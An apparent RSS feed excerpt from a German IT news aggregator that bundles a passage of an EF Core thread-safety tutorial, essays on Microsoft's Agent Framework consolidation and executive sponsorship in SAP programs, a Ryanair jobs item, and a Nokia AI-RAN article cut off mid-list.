<p class="wp-block-paragraph">This stateful design of <code>DbContext</code> makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.</p>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/ef/core/change-tracking/" data-type="link" data-id="https://learn.microsoft.com/en-us/ef/core/change-tracking/">change tracker</a> is one of the most important components of <code>DbContext</code> in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the <code>SaveChanges()</code> method on the <code>DbContext</code> instance.</p>



<p class="wp-block-paragraph">To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we <em>could</em> accomplish this by wrapping a shared <code>DbContext</code> instance inside a thread-safe block using the <code>lock</code> keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. </p>



<pre class="wp-block-code"><code>using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products =&gt; Set();
}
</code></pre>



<p class="wp-block-paragraph">However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use <code>IDbContextFactory</code> , which creates fresh <code>DbContext</code> instances on demand. Calling its <code>CreateDbContext()</code> method is cheap and produces a fresh, isolated context every time. </p>



<p class="wp-block-paragraph">The following code snippet shows how you can register an instance of type <code>IDbContextFactory</code> as a singleton. You can safely call this code from any thread.</p>



<pre class="wp-block-code"><code>builder.Services.AddDbContextFactory(options =&gt;
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));
</code></pre>



<h2 class="wp-block-heading">Executing EF Core queries in parallel – the solution</h2>



<p class="wp-block-paragraph">Now let’s see how we can put <code>IDbContextFactory</code> to work. The following code illustrates a class named <code>ProductService</code> that uses a factory to create <code>DbContext</code> instances for each scope of work.</p>



<pre class="wp-block-code"><code>public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        =&gt; _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}
</code></pre>



<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[400 highly skilled jobs to be created by €50m Ryanair Investment]]></title>
<description><![CDATA[The company has submitted a planning application for a major expansion of its engineering operations at Shannon Airport.
Read more: 400 highly skilled jobs to be created by €50m Ryanair Investment]]></description>
<link>https://tsecurity.de/de/3690995/it-nachrichten/400-highly-skilled-jobs-to-be-created-by-50m-ryanair-investment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690995/it-nachrichten/400-highly-skilled-jobs-to-be-created-by-50m-ryanair-investment/</guid>
<pubDate>Fri, 24 Jul 2026 10:18:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The company has submitted a planning application for a major expansion of its engineering operations at Shannon Airport.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/jobs-news/highly-skilled-jobs-ryanair-investment-funding-engineering-mechanics-aviation">400 highly skilled jobs to be created by €50m Ryanair Investment</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
